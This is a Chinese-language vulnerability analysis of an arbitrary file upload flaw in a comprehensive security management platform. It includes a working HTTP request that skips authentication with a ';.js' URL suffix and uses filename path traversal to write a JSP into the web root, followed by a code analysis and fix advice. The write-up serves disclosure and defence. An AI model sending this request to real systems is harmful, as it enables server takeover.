某综合安防系统-任意文件上传漏洞分析
字数 961 2025-08-24 07:48:22
综合安防系统任意文件上传漏洞分析教学文档
0x00 漏洞简介
综合安防管理平台是基于"统一软件技术架构"理念设计的安防管理系统,采用业务组件化技术,满足平台在业务上的弹性扩展。该平台适用于全行业通用综合安防业务,对各系统资源进行了整合和集中管理,实现统一部署、配置、管理和调度。
0x01 漏洞概述
该产品存在任意文件上传漏洞,攻击者可以利用此漏洞上传恶意文件(如JSP Webshell)到服务器,从而获取系统控制权。
0x02 影响版本
该漏洞影响该综合安防管理平台的历史版本。
0x03 漏洞复现
漏洞利用POC
POST /center/api/files;.js HTTP/1.1
User-Agent: PostmanRuntime/7.29.2
Accept: */*
Postman-Token: 1ac225cc-bdbe-4176-b806-a9a7c796ee33
Host: xxxxxxxxxxxxxx
Connection: close
Content-Type: multipart/form-data; boundary=180188939909122941133151
Cookie: JSESSIONID=A0A01DAF36544051C724ABCCB20A0EA6
Content-Length: 286
--180188939909122941133151
Content-Disposition: form-data; name="file"; filename="bin/tomcat/apache-tomcat/webapps/clusterMgr/hello.jsp"
Content-Type: application/octet-stream
hello
--180188939909122941133151--
上传成功后,访问上传的文件:
http://[目标IP]/clusterMgr/hello.jsp;.js
0x04 漏洞分析
1. 鉴权绕过机制
系统CAS配置文件位于:
/bin/tomcat/apache-tomcat/webapps/center/WEB-INF/classes/cas-client.properties
配置中对以下文件类型不进行鉴权:
cas.ignore.pattern=/,*.html,/login,*.eot,*.woff,*.ttf,*.svg,*.gif,*.css,*.js,*.json,/casLogin,*.ico,*.icon,*.png,*.map,/api/meta/qrcode,/api/session,/api/session/captcha,/api/locales,/api/meta,/api/menus,/api/users/*/password,/api/fileUpload/*,/center/api/fileUpload/*,/api/clientInstall/LatestVersion,/api/clientResourceInstall/LatestVersion,/center/api/clientInstall/LatestVersion,/center/api/clientResourceInstall/LatestVersion,/api/machines/*/steps,/api/verifyCodeImage,/api/encryptParam,/api/webLogin,/api/modifyPassword,/api/negotiation,/api/webMachines,/api/webDelMachines,/api/webAlerts,/api/webResources,/api/webMenus,/api/settings/firewalls/*,/api/installMachineList/*,/api/clientInstall/*,/api/task/*,/api/bic/*,/api/installation/*,/api/external/*,/api/logsOnline/*
2. 文件上传功能缺陷
文件上传功能位于:
/bin/tomcat/apache-tomcat/webapps/center/WEB-INF/classes/com/hikvision/center/module/faq/controller/KnowledgeController.class
关键代码:
@RequestMapping(value = {"/files"}, method = {RequestMethod.POST})
public Object uploadFile(@RequestParam(value = "file",required = false) MultipartFile file,
HttpServletResponse response,
@RequestParam(value = "upload",required = false) MultipartFile upload,
HttpServletRequest request) throws IOException {
// ...省略部分代码...
String filename = file.getOriginalFilename();
// ...省略部分代码...
json = this.knowledgeService.uploadFile(file);
// ...省略部分代码...
}
文件上传服务实现:
public JSONObject uploadFile(MultipartFile file) {
String uuid = UUID.randomUUID().toString();
String filename = null;
try {
filename = new String(file.getOriginalFilename().getBytes(System.getProperty("sun.jnu.encoding")), "UTF-8");
} catch (UnsupportedEncodingException var9) {
filename = file.getOriginalFilename();
}
String resourcePath = AddressUtil.getResourcePath() + File.separator + "resource" + File.separator + uuid;
File resourceFile = new File(resourcePath);
if (!resourceFile.exists()) {
resourceFile.mkdirs();
}
JSONObject json = new JSONObject();
try {
file.transferTo(new File(resourcePath + File.separator + filename));
} catch (Exception var8) {
this.logger.error(HikLog.toLog(HikLog.message("upload file fail", new String[]{"e"})), var8);
throw new ProgramException("0x00137759");
}
// ...省略部分代码...
}
3. 漏洞利用原理
-
鉴权绕过:通过在URL中添加
.js后缀(/center/api/files;.js),利用CAS配置中对.js文件不鉴权的特性绕过权限检查。 -
分号处理特性:Spring框架在处理URL时的
removeSemicolonContentInternal方法会:- 移除所有的分号
- 移除分号后面直到下一个斜杠"/"之间的所有字符
因此
/center/api/files;.js会被处理为/center/api/files,从而正确路由到文件上传接口。 -
路径穿越:通过控制
filename参数,可以实现目录穿越,将文件上传到任意位置(如bin/tomcat/apache-tomcat/webapps/clusterMgr/目录)。
0x05 修复建议
-
官方补丁:联系厂商获取并安装最新补丁。
-
临时缓解措施:
- 在文件上传接口添加严格的权限验证
- 对上传文件名进行严格过滤,防止目录穿越
- 限制上传文件类型
- 更新CAS配置,避免过度宽松的文件类型豁免
-
代码层面修复:
- 对上传文件名进行规范化处理
- 实现文件类型白名单机制
- 限制上传文件保存路径
0x06 总结
该漏洞结合了鉴权绕过和文件上传缺陷,利用Spring框架对URL的特殊处理机制,实现了任意文件上传。漏洞危害性高,可导致服务器被完全控制。建议用户及时更新到安全版本,并采取适当的防护措施。